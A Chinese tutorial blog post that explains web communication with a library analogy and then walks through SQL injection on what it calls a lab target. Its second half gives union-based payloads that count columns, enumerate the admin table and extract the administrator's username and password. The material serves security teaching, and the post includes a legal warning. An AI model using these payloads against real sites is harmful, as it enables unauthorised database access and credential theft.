sql注入攻击实例_【SEA分享】Web渗透——SQL注入攻击原理及实例

相信点进来的你和我一样看不懂标题。

没关系,不妨先了解一下,为什么我在网址栏里输入一串网址,就可以访问到这个网页。

了解通信原理之后能帮助你更好的理解后面实例中的一顿“操作”。

94423a434098b1004e0f1821457530cf.gif

web通信原理介绍 

IP:ip 实际上就是生活中的地址,好像  XX省XX市XX区...... ,只不过 ip 是由数字组成。IP 分为内网ip 和 公网ip,公网地址是运营商分配,内网地址是路由器分配的。

域名:方便记忆而发明的一种字符标识。比如说www.baidu.com就是域名,而其对应了很多个ip。

Web容器 :web容器是一个程序,这个程序是被动的,常常被称为“中间件”。因为是一个被动的程序,所以需要其他计算机发出请求给ta时,ta才会响应。功能是存储、处理、传送网页给浏览器。

常见的Web容器:

  •  IIS,Windows 平台专用;

  •  Apache,通用,跨平台;

  •  Nginx,通用,跨平台

Web通信中必备的还有数据库系统,用来存储数据和数据间关系。

常见的数据库有:SqlServer、Oracle、MySQL、DB2等

2a9949228a758b7a9e1072035dbde64a.png

举个栗子

cd1df96e3f424ce0a4eade9d79d86aec.png 712dd4bcf2086b56c5fbb133e1bf9359.png

如果网站是个图书馆.....

web容器就好像是图书馆管理员,只有当别人向他寻求第几排第几行的某本书(告诉web容器是哪一个文件),他才会从架子上把书(也就是网页文件)交给读者(而文件与数据之间可以简单理解为通过数据库存储的),如果这本“书”只供内部翻阅,不对外开放,当外来读者寻求的时候,管理员则会拒绝交给他。

每一个网站,其实可以理解为由一堆又一堆这样的文件所组成,这些文件存储在网站的服务器里,网页的首页可以是某个目录文件,我可以给下图这个网站定义一个域名(其实是要买的)叫https://www.qiuzhuanfa.com/

d904e6696d8b96e5652e326a069d4508.png

当我们访问它的时候,它就从一堆文件里提取一些网页的必要元素(图片,css文件等等),传递给你的浏览器,浏览器再去表达,最后形成了一个如下的网页(这个只是一个网站的框架)

e7363ec381aeff8e13c58fa3bddabfb4.png 3b3176ade8bd0f77645c1f66d222b225.png

辣么,当我点击网页中的某个链接,它跳转到如下网页的时候

aa1311915d38f565ccce799074207868.png

其实就是向服务器访问我们刚刚那个examples文件夹(或某个文件)

d4395eda1f30a264001a95a64e6b4757.png

服务器发送给浏览器一堆必要文件之后,再表达,形成平时看到的网页

是不是清楚了许多?

1db53ef4e20c3550f1ffec1f3c692ee0.png

地址栏(就是输入网址那个框框)本质上是向服务器传递参数,在服务器允许的范围内可以访问文件,形成网页。上面我们提到过,web容器中必备的还有数据库软件,通常情况下,web容器会过滤掉不合理的命令,允许访问网页,但是拒绝操作服务器的命令。万事皆有例外,网页中总是存在漏洞的,通过一些漏洞,我们就可以通过写入一些命令语句,操作数据库,通过数据库拿到管理员账户和密码,达到攻击的目的。

cc8358e3313022dd4b000c6e2d2fd426.gif

了解了必备背景知识之后,让我们开始看看具体操作吧

注意

观前提示:下篇所有操作请勿在不被允许的服务器上进行测试,切记,我国有一套完整的刑法

SQL注入渗透原理

攻击数据库有很多种注入方式,针对不同的数据库有不同的注入语句,本篇选用SQL的主要目的在于语句便于理解,且SqlServer以及mysql属于主流服务器所用到的数据库软件,还有Oracle等等。

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串(通俗易懂的讲,就是输入网址的那个框框里,在正常网址后面加入一些SQL命令),最终达到欺骗服务器执行恶意SQL命令。比如这样:

a4aec3fca9a46e1a073e7e921f52c38d.png 9db756c421335ba165175b15a71dbaac.png

举个栗子

63b47743d9d0fd46711c3d3d39ae1882.png

还是上面那个栗子:

读者向图书管理员寻求一本书的时候(通过输入网址,向服务器发送请求),发出一些(恶意)指令。而图书管理员老眼昏花,没有分辨这个要求是好是坏的能力,便去图书馆的系统里查询(执行sql命令),将查出来原本只能内部查阅的书籍交给了这位读者。

读者指令再恶意一点,图书管理员将图书馆大门的钥匙也放在了书籍里,交给了这位外来读者。

cc8358e3313022dd4b000c6e2d2fd426.gif

那么问题来了:SQL命令怎么构造?

Emmmmm,这个就不是一篇推送能够说清楚的了……

读懂了上面这些皮毛,就说明你已经正式读懂了web通信的基本原理,还是有些云里雾里?下面就是实战操作。

af1ddb597b4773bb722cb2860ecb5484.gif

正片加载中...

SQL注入实例

以下操作都是在靶机上执行,公司、网址、人物、故事皆为虚拟。

c0a880e5bf6b2a5af78c32a991d4505f.png

咸鱼日常

小周自己开了一家公司,费尽心思做了公司的网站,没想到,第二天就忘记了后台管理员账户和密码,她只好求助同事小张……

以下内容涉及部分sql语句,感兴趣的同学可以百度sql命令,懒得查的同学可以……看个热闹?别走别走!懒得查可以看看网页变化嘛

公司网站地址:

http://117.41.229.122:8003/?id=1

下面就是公司首页啦,可以看到编号为id=1的文章就是“猫舍介绍”

d0193438eb89abf23204be1729c17f2c.png

第一步,判断是否存在sql注入漏洞

既然有id=1,那么通过SQL的逻辑判断,我们接下来可以构造

?id=1 and 1=1 

回车(含义:id=1,并且判断1是否等于1)

31361afd7c184f6fb282f021d53bacb0.png

页面返回正常

构造

?id=1 and 1=2 

回车(1必然不等于2呀,所以可以根据这个来判断是否存在注入漏洞)

9effd6235721243eeda332b13d6e5bb1.png

第二步:判断字段数

构造

?id=1 and 1=1 order by 1 

回车(含义:id=1,并且判断1是否等于1,以1排序)

1d1bfe0d9db1ca3329dd5e34751e181a.png

页面正常

构造

?id=1 and 1=1 order by 2 

回车

a2b08302fcbdb6f5130f7d3b832f4abc.png

页面正常

构造

?id=1 and 1=1 order by 3

回车

6f053fb44c9ac667b580e6cf2bd59f8c.png

页面返回 错误,判断字段数为   2

第三步:判断回显点

构造

?id=1 and 1=2 union select 1,2 

回车(这块的union用到了联合查询)

b6c6c54ff84e0e56f7739eda2962dd55.png

页面出现了2,说明我们可以在数字2处显示我们想要的内容

第四步:查询相关内容

查询当前数据库名

构造

?id=1 and 1=2 union select 1,database()

回车

d672e92471150d5ebc2593de9c201af9.png

绝大多数情况下,管理员的账号密码都在admin表里

查询字段名

构造

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

回车

2d0705744e41ba3363398a48a783ef17.png

构造

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

回车

6ce41b93dc87156f4a11bfeef9467d12.png

构造

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 

回车

90f00496dc7b7e9f83beb41bab0f27ae.png

查出 admin 表里 有  id   username  password  三个字段

查询字段内容

构造

?id=1 and 1=2 union select 1,username from admin  limit 0,1

回车

ac6cbba8d3f5ce9f4769efcc04c1f4c7.png

构造

?id=1 and 1=2 union select 1,password from admin  limit 1,1 

回车

9e1a5c77331f57f81f30077954d2361e.png

limit 1,1 没有回显,说明只有一个用户

构造

?id=1 and 1=2 union select 1,password from admin  limit 0,1

回车

1c7f5ba6f9374a342968a8ef20d2382a.png

得到管理员账号和密码

就这样,小周找回了她的密码

是不是很简单,嘻……嘻嘻

(啊疼疼疼组长别打了!小周真不是你!)

6a254cfe91f81c5b51ee9c30fac92bb0.png b2de38ea1e6932861603791a1cdb1dc8.png

我们好奇,我们探索,我们分享

欢迎你

将好玩有趣又实用的科技知识

分享给我们

文字整理:刘煜田他不甜吗

排版:小桌椅

94afbf5eb32312ebc76dd74c5e9edd6d.gif1abec0aea939c759a8bd4cdc2770d3cc.gif

点击蓝字关注我们

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值